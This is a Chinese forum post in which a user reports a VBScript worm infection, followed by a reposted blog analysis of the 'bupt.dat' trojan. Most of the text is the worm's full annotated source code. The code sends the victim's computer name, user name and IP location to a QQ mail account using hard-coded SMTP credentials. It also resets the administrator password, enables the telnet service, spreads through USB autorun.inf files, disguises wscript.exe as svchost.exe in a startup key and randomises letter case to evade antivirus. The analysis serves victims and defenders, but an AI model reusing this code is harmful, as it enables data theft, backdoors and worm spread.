BYR Achieve · 镜像论坛

我不小心就中了这个病毒，找到的不是bupt.dat文件，而是svchost.dat文件，中间的email信息如下：SEt eMail=CreatEObjEct("cDO.mESsaGE") eMail.frOm=lcASe("sHaDer.BUpt@qq.COm") eMaIl.TO=lcase("sHaDer.bUpT@qq.com") 经查找itam.dat。里面有我的详细信息~~~~~ ---------------------------------以上为自述，以下为转载---------------------------------------------------------------------- 转载连接：http://blog.csdn.net/sjdev/archive/2009/10/19/4700705.aspx ----------------------------------分割线----------------------------------------------------------------------- 上周的某一天，我同事忽然发现自己电脑不太对劲，经查看原来是中了木马。比较有意思的是，可以通过一个bupt.dat的文件来查看该木马的某些实现细节。由于bupt是北邮的简称，所以我有充分的理由相信该木马是北邮某个学生搞的。“北邮男生”是我们给这个木马起的名字，至于为什么叫“男生”而不是“女生”或者其它代号，可以通过下面的代码自己寻找答案。Ps:请不要试图查找有关“北邮男生”木马的信息，也许它会被冠以其他名字。Psps：截止到2009/10/19，通过关键字“bupt.dat”百度无法搜索到任何相关信息，google可以搜索到2条相关信息。 '1.主体函数部分 ' '当运行脚本时，主体函数部分代码依次执行 '所以分析脚本“主体函数部分”可以看出脚本程序执行思路 On Error Resume Next '创建文件系统对象，用于文件操作 Set fso = CreateObject("Scripting.FileSystemObject") '创建Shell对象 Set WshShell = CreateObject("WScript.Shell") '创建NetWork对象 Set WshNetWork = WScript.CreateObject("Wscript.NetWork") '脚本的全路径名，如J:\Butp.dat ThisPath = WScript.ScriptFullName '1 for system folder.通常返回值是C:\Windows\System32 SysDir = fso.GetSpecialFolder(1) & "\" '从SysDir从截取Windows目录，如C:\Windows\System32截取后为C:\Windows\ WinDir = Left(SysDir, 11) SvcHost = "svchost.exe" FnSys = "svchost.dat" FnSysExe = "scs.exe" FnMail = "liam.dat" FnuTray = "bupt.dat" FnuTrayExe = "scs" 'Copy脚本的副本 Set file = fso.OpenTextFile(ThisPath, 1) '1 for readonly VBScriptCopy = file.ReadAll file.Close Set file = Nothing IF LCase(SysDir) = LCase(Left(ThisPath, Len(SysDir))) Then '如果脚本文件位于系统目录(system32)下 Call SendMail Call SetupBD Call ListEnuTray Else '不显示隐藏文件 WshShell.RegWrite "HKCU\SoftWare\Microsoft\Windows\CurrentVersion\Explorer\Advanced\showsuperhidden", 0, "Reg_DOWRD" WshShell.RegWrite "HKCU\SoftWare\Microsoft\Windows\CurrentVersion\Explorer\Advanced\superhidden", 1, "Reg_DOWRD" WshShell.Run(Left(ThisPath, 2)) '2,最小化窗口 IF Not fso.FileExists(SysDir & FnSys) or Not fso.FileExists(SysDir & FnSysExe) or Not fso.FileExists(WinDir & SvcHost) Then Call InfectSys End IF End IF '脚本“主体函数部分”结束 ' '2.功能函数部分 ' '“功能函数部分”的代码不会自动执行，除非“主体函数部分”调用到它 '要分析“功能函数部分”需要根据其“主体函数部分”上下文。 '2.1发送Email. Sub SendMail On Error Resume Next '获取本机ip，并根据(小偷程序原理,网上用的较多)ip获取ip所在地理位置 '然后把信息打包 ComputerName = "计算机名:" & WshNetWork.ComputerName UserName = "当前用户名:" & WshShell.ExpandEnvironmentStrings("%UserName%") Url = "http://www.ip138.cn" '注意,这个是ip地址查询的网站 Html = GetHttpPage(Url) PlaceBegin = Instr(1, Html, "你当前的IP为") PlaceEnd = Instr(PlaceBegin, Html, VBCRLF) Place = mid(Html, PlaceBegin, PlaceEnd - PlaceBegin) Msg = ComputerName & "," & UserName & "," & Place Title = GetIp(".") '将发送信息打包存放在system32\liam.dat中，目的是防止重复发送email '注，如果你的电脑已经中招，使用记事本打开liam.dat可以看到你自己系统的信息 IF fso.FileExists(SysDir & FnMail) Then Set file = fso.OpenTextFile(SysDir & FnMail, 1) OldMsg = file.ReadAll file.Close Set file = Nothing IF OldMsg = Msg Then Exit Sub End IF End IF Call WriteFile(SysDir & FnMail, Msg) '使用cdo发送邮件，邮件内容就是上面搜集信息的打包 '此处使用的是qq邮箱，采用的是自己发送到自己的方式(shader.butp@qq.com) '我曾经使用qq查找过shader.bupt@qq.com这个账号,因为不是主显账号，查不到 NameSpace = "http://schemas.microsoft.com/cdo/configuration/" Set EMail = CreateObject("Cdo.Message") EMail.From = "shader.bupt@qq.com" EMail.To = "shader.bupt@qq.com" EMail.Subject = Title EMail.TextBody = Msg & "," & Now With EMail.Configuration.Fields .Item(NameSpace & "SendUsing") = 2 .Item(NameSpace & "SmtpServer") = "smtp.qq.com" .Item(NameSpace & "SmtpServerPort") = 25 .Item(NameSpace & "SmtpAuthenticate") = 1 .Item(NameSpace & "SendUserName") = "shader.bupt" .Item(NameSpace & "SendPassword") = "52162" .UpDate End With EMail.Send End Sub '2.2在目标电脑上植入信息 Sub SetupBD On Error Resume Next IF LCase(WshNetWork.UserName) <> "administrator" Then '设置管理员密码 Set objUser = GetObject("WinNT://./administrator, user") objUser.SetPassword "52162" objUser.SetInfo '添加自启动服务 WshShell.RegWrite "HKLM\System\Controlset001\services\tlntsvr\start", 2, "REG_DWORD" End IF End Sub Sub ListEnuTray On Error Resume Next '设置autorun文件中要写入的内容 TimeCounter = 1 CmdStr = "Shell\*\CommAnd=Wscript.exe /e:VBS " & FnuTray AutoRunStr = "[autorun]" & VBCRLF & "open=" & VBCRLF & Replace(CmdStr, "*", "open") & VBCRLF & Replace(CmdStr, "*", "Explorer") & VBCRLF & Replace(CmdStr, "*", "find")) Do for each drv in fso.drives IF fso.GetDrive(drv).DriveType = 1 And fso.GetDrive(drv).IsReady Then '1 for Removeable IF fso.GetDrive(drv).FileSystem = "FAT32" Then FStype = "1" Else FStype = "2" End IF IF fso.FileExists(drv & "\autorun.inf") Then '如果优盘目录下存在autorun.inf,判断其内容是否已经被更改,如果被更改就重建. Set file = fso.OpenTextFile(drv & "\autorun.inf", 1) OldAutoRunStr = file.ReadAll file.Close Set file = Nothing IF OldAutoRunStr <> AutoRunStr Then IF FStye = "2" Then Call WriteFile(drv & "\autorun.inf", AutoRunStr) Else WshShell.Run(SysDir & FnSysExe & " " & drv & " " FStype) End IF End IF Else '如果优盘目录下不存在autorun.inf,创建该文件. IF FStype = "2" Then Call WriteFile(drv & "\autorun.inf", AutoRunStr) Else WshShell.Run(SysDir & FnSysExe & " " & drv & " " & FStype) End IF End IF IF TimeCounter > 10 Then IF Not fso.FileExists(drv & "\" & FnuTray) Then Call WriteFile(drv & "\" & FnuTray, vs(VBScriptCopy)) End IF IF Not fso.FileExists(drv & "\" & FnuTrayExe) Then fso.GetFile(SysDir & FnSysExe).Copy(drv & "\" & FnuTrayExe) fso.GetFile(drv & "\" & FnuTrayExe).Attributes = 7 '加上系统，只读，隐藏属性 End IF End IF End IF Next IF TimeCounter > 10 Then TimeCounter = 1 WshShell.RegWrite "HKLM\Software\microsoft\windows\currentversion\run\svchost", WinDir & SvcHost & " /e:vbs " & SysDir & FnSys IF Not fso.FileExists(SysDir & FnSys) Then Call WriteFile(SysDir & FnSys, VS(VBScriptCopy)) End IF ELSE TimeCounter = TimeCounter + 1 End IF WScript.Sleep 1000 Loop End Sub '2.3感染系统 Sub InfectSys On Error Resume Next '将执行脚本的动作加入启动项,注意执行脚本的是SvcHost.exe WshShell.RegWrite "HKLM\Software\microsoft\windows\currentversion\run\svchost", WinDir & SvcHost & " /e:vbs " & SysDir & FnSys '在系统目录查找是否存在svchost.dat,存在的话,删除它 IF fso.FileExists(SysDir & FnSys) Then fso.DeleteFile SysDir & FnSys, TRUE End IF '重建svchost.dat文件 Call WriteFile(SysDir & FnSys, vs(VBScriptCopy)) '在系统目录下查找是否存在svchost.exe，存在的话,删除它,然后重建. IF fso.FileExists(WinDir & SvcHost) Then fso.DeleteFile WinDir & SvcHost, TRUE End IF '重建svchost.exe,注意,这个所谓的svchost.exe无法就是wscript.exe的一个copy fso.GetFile(SysDir & "WScript.exe").Copy(WinDir & SvcHost) fso.GetFile(WinDir & SvcHost).Attributes = 7 '加上系统，只读，隐藏属性 '在系统目录下查找是否存在scs.exe，存在的话，删除它，然后重建. IF fso.FileExists(SysDir & FnSysExe) Then fso.DeleteFile SysDir & FnSysExe, TRUE End IF '重建scs.exe,注意,这个scs.exe是scs的一个copy.而scs无法就是原scs.exe去掉扩展名的版本. '中了该木马的电脑,可以在优盘根目录下看到scs这个文件 fso.GetFile(FnuTrayExe).Copy(SysDir & FnSysExe) fso.GetFile(SysDir & FnSysExe).Attributes = 7 '加上系统，只读，隐藏属性 '执行脚本 WshShell.Run(WinDir & SvcHost & " /e:vbs " & SysDir & FnSys) End Sub '2.4 写文件 Sub WriteFile(fPath, content) On Error Resume Next '注，原脚本中此处使用了一点小技巧用于逃避杀毒软件的扫描(也可能只是为了混淆) '请注意与原代码对比 IF fso.FileExists(fPath) Then fso.DeleteFile fPath, TRUE Set fc = fso.OpenTextFile(fPath, 2, TRUE) fc.Write content fc.Close Set fc = Nothing set fa = fso.GetFile(fPath) fa.Attributes = 7 '文件属性 Set fa = Nothing End Sub '2.5 随机替换str中字符大小写(VBS中不区分大小写) Function VS(str) On Error Resume Next '注，原脚本中此处使用了一点小技巧用于逃避杀毒软件的扫描(也可能只是为了混淆) '请注意与原代码对比 For i = 1 to Len(str) c = UCase(Mid(str, i, 1)) Randomize if Int(Rnd()*100 > 50) Then VS = VS & LCase(c) Else VS = VS & c End IF Next VS = Replace(VS, UCase("%U", LCase("%u")) End Function '2.6获取目标计算机的IP地址 Function GetIP(ComputerName) On Error Resume Next '使用wmi获取目标计算机的ip地址 Dim ObjWMIService, ColItems, ObjItem, ObjAddress Set ObjWMIService = GetObject("Winmgmts:\\" & ComputerName & "\root\cimv2") Set ColItems = ObjWMIService.ExecQuery("Select * from win32_networkAdapterConfiguration where ipEnabled = TRUE") For Each ObjItem IN ColItems For Each ObjAddress in ObjItem.IPAddress IF ObjAddress <> "" Then GetIP = ObjAddress Exit For End IF Next Next End Function '2.7获取目标网页的html代码 Function GetHttpPage(Url) On Error Resume Next Dim Http Set Http = CreateObject("MSXML2.XMLHttp") Http.Open "Get", Url, FALSE Http.Send() IF Http.ReadyState <> 4 Then Exit Function End IF GetHttpPage = BytesToBSTR(Http.ResponseBody, "GB2312") Set Http = Nothing IF Err.Number <> 0 Then Err.Clear End Function '2.8转换内容的CharSet Function BytesToBSTR(Body, CharSet) On Error Resume Next Dim ObjStream Set ObjStream = CreateObject("AdoDB.Stream") ObjStream.Type = 1 ObjStream.Mode = 3 ObjStream.Open ObjStream.Write Body ObjStream.Position = 0 ObjStream.Type = 2 ObjStream.Charset = CharSet BytesToBSTR = ObjStream.ReadText ObjStream.Close Set ObjStream = Nothing End Function '“功能函数部分”结束本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/sjdev/archive/2009/10/19/4700705.aspx

【转载】北邮男生木马